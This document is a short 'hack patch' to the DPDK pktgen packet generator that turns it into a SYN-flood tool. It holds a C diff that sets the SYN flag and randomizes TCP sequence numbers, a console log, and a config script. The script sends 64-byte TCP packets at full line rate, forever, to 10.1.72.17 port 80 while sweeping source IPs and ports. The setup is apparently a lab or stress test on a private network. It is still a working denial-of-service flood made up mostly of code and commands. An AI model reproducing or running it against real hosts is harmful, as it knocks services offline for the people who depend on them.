hack patch to make pktgen to do syn flood:
diff --git a/app/cmd-functions.c b/app/cmd-functions.c
index b2fda7c..c348e73 100644
--- a/app/cmd-functions.c
+++ b/app/cmd-functions.c
@@ -303,6 +303,8 @@ const char *help_info[] = {
"pkt.size max <portlist> value - Set pkt size maximum address",
"pkt.size inc <portlist> value - Set pkt size increment address",
"range <portlist> <state> - Enable or Disable the given portlist for sending a range of packets",
+ "range.proto <portlist> [tcp|udp|icmp]",
+ " - Set ip proto for sending a range of packets",
"",
"<<PageBreak>>",
" Flags: P---------------- - Promiscuous mode enabled",
diff --git a/app/pktgen-tcp.c b/app/pktgen-tcp.c
index 3c8a853..9d12a88 100644
--- a/app/pktgen-tcp.c
+++ b/app/pktgen-tcp.c
@@ -69,6 +69,26 @@
#include "pktgen-tcp.h"
+uint64_t xor_seed[ 2 ];
+
+static inline uint64_t
+xor_next(void) {
+ uint64_t s1 = xor_seed[ 0 ];
+ const uint64_t s0 = xor_seed[ 1 ];
+
+ xor_seed[ 0 ] = s0;
+ s1 ^= s1 << 23; /* a */
+ return ( xor_seed[ 1 ] = ( s1 ^ s0 ^ ( s1 >> 17 ) ^ ( s0 >> 26 ) ) ) +
+ s0; /* b, c */
+}
+
+static __inline__ uint32_t
+pktgen_default_rnd_func(void)
+{
+ return xor_next();
+}
+
+
/**************************************************************************//**
*
* pktgen_tcp_hdr_ctor - TCP header constructor routine.
@@ -100,10 +120,10 @@ pktgen_tcp_hdr_ctor(pkt_seq_t *pkt, tcpip_t *tip, int type __rte_unused)
tip->tcp.sport = htons(pkt->sport);
tip->tcp.dport = htons(pkt->dport);
- tip->tcp.seq = htonl(DEFAULT_PKT_NUMBER);
- tip->tcp.ack = htonl(DEFAULT_ACK_NUMBER);
+ tip->tcp.seq = htonl(pktgen_default_rnd_func());
+ tip->tcp.ack = 0;
tip->tcp.offset = ((sizeof(tcpHdr_t) / sizeof(uint32_t)) << 4); /* Offset in words */
- tip->tcp.flags = ACK_FLAG; /* ACK */
+ tip->tcp.flags = SYN_FLAG; /* ACK */
tip->tcp.window = htons(DEFAULT_WND_SIZE);
tip->tcp.urgent = 0;
Copyright (c) <2010-2016>, Intel Corporation. All rights reserved.2010-2016>
Pktgen created by: Keith Wiles -- >>> Powered by Intel® DPDK <<<
Lua 5.3.2 Copyright (C) 1994-2015 Lua.org, PUC-Rio
>>> Packet Burst 32, RX Desc 512, TX Desc 512, mbufs/port 4096, mbuf cache 512
=== port to lcore mapping table (# lcores 8) ===
lcore: 0 1 2 3 4 5 6 7
port 0: D: T 0: 1 0: 1 0: 1 0: 1 0: 1 0: 1 0: 1 = 1: 8
Total : 1: 1 0: 1 0: 1 0: 1 0: 1 0: 1 0: 1 0: 1
Display and Timer on lcore 0, rx:tx counts per port/lcore
Configuring 1 ports, MBUF Size 1920, MBUF Cache Size 512
Lcore:
0, RX-TX
RX( 1): ( 0: 0)
TX( 1): ( 0: 0)
1, TX-Only
TX( 1): ( 0: 1)
2, TX-Only
TX( 1): ( 0: 2)
3, TX-Only
TX( 1): ( 0: 3)
4, TX-Only
TX( 1): ( 0: 4)
5, TX-Only
TX( 1): ( 0: 5)
6, TX-Only
TX( 1): ( 0: 6)
7, TX-Only
TX( 1): ( 0: 7)
Port :
0, nb_lcores 8, private 0x8f0690, lcores: 0 1 2 3 4 5 6 7
** Dev Info (rte_vmxnet3_pmd:0) **
max_vfs : 0 min_rx_bufsize :1646 max_rx_pktlen : 16384 max_rx_queues : 16 max_tx_queues: 8
max_mac_addrs : 1 max_hash_mac_addrs: 0 max_vmdq_pools: 0
rx_offload_capa: 13 tx_offload_capa : 45 reta_size : 0 flow_type_rss_offloads:0000000000000514
vmdq_queue_base: 0 vmdq_queue_num : 0 vmdq_pool_base: 0
** RX Conf **
pthreash : 0 hthresh : 0 wthresh : 0
Free Thresh : 0 Drop Enable : 0 Deferred Start : 0
** TX Conf **
pthreash : 0 hthresh : 0 wthresh : 0
Free Thresh : 0 RS Thresh : 0 Deferred Start : 0 TXQ Flags:00000200
Initialize Port 0 -- TxQ 8, RxQ 1, Src MAC 00:50:56:86:10:76
Pktgen > load tcp.txt
Pktgen> start 0
Pktgen> stop 0
root@pktgen-template:/home/admin/pktgen-dpdk/dpdk/examples/pktgen-dpdk# cat tcp.txt#
# Pktgen - Ver: 2.9.17 (DPDK 16.04.0-rc2)
# Copyright (c) <2010-2016>, Intel Corporation. All rights reserved., Powered by Intel® DPDK
# Command line arguments: (DPDK args are defaults)
# ./app/app/x86_64-native-linuxapp-gcc/pktgen -c ff -n 3 -m 512 --proc-type primary -- -P -m [0:1-7].0
#######################################################################
# Pktgen Configuration script information:
# GUI socket is Not Enabled
# Flags 00040004
# Number of ports: 1
# Number ports per page: 4
# Number descriptors: RX 512 TX: 512
# Promiscuous mode is Enabled
#######################################################################
# Global configuration:
geometry 132x44
mac_from_arp disable
######################### Port 0 ##################################
#
# Port: 0, Burst: 32, Rate:100%, Flags:c0000010, TX Count:Forever
# SeqCnt:0, Prime:1 VLAN ID:0001, Link:
#
# Set up the primary port information:
set 0 count 0
set 0 size 64
set 0 rate 100
set 0 burst 32
set 0 sport 1234
set 0 dport 5678
set 0 prime 1
type ipv4 0
proto tcp 0
set ip dst 0 10.1.72.17
#set ip dst 0 10.1.72.8
set ip src 0 10.1.72.154/24
set mac 0 00:23:E9:63:5B:83
#set mac 0 00:50:56:86:84:90
vlanid 0 1
pattern 0 zero
user.pattern 0 0123456789abcdef
latency 0 disable
mpls 0 disable
mpls_entry 0 0
qinq 0 disable
qinqids 0 0 0
gre 0 disable
gre_eth 0 disable
gre_key 0 0
#
# Port flag values:
icmp.echo 0 disable
pcap 0 disable
range 0 enable
process 0 disable
capture 0 disable
rxtap 0 disable
txtap 0 disable
vlan 0 disable
#
# Range packet information:
src.mac start 0 00:50:56:86:10:76
src.mac min 0 00:00:00:00:00:00
src.mac max 0 00:00:00:00:00:00
src.mac inc 0 00:00:00:00:00:00
dst.mac start 0 00:23:E9:63:5B:83
#dst.mac start 0 00:50:56:86:84:90
dst.mac min 0 00:00:00:00:00:00
dst.mac max 0 00:00:00:00:00:00
dst.mac inc 0 00:00:00:00:00:00
src.ip start 0 10.1.72.154
src.ip min 0 10.1.72.154
src.ip max 0 10.1.72.254
src.ip inc 0 0.0.0.1
dst.ip start 0 10.1.72.17
dst.ip min 0 10.1.72.17
dst.ip max 0 10.1.72.17
dst.ip inc 0 0.0.0.1
#dst.ip start 0 10.1.72.8
#dst.ip min 0 10.1.72.8
#dst.ip max 0 10.1.72.8
#dst.ip inc 0 0.0.0.1
src.port start 0 1025
src.port min 0 1025
src.port max 0 65512
src.port inc 0 1
dst.port start 0 80
dst.port min 0 0
dst.port max 0 0
dst.port inc 0 0
vlan.id start 0 1
vlan.id min 0 1
vlan.id max 0 4095
vlan.id inc 0 0
pkt.size start 0 64
pkt.size min 0 64
pkt.size max 0 1518
pkt.size inc 0 0
#
# Set up the sequence data for the port.
set 0 seqCnt 0
################################ Done #################################2010-2016>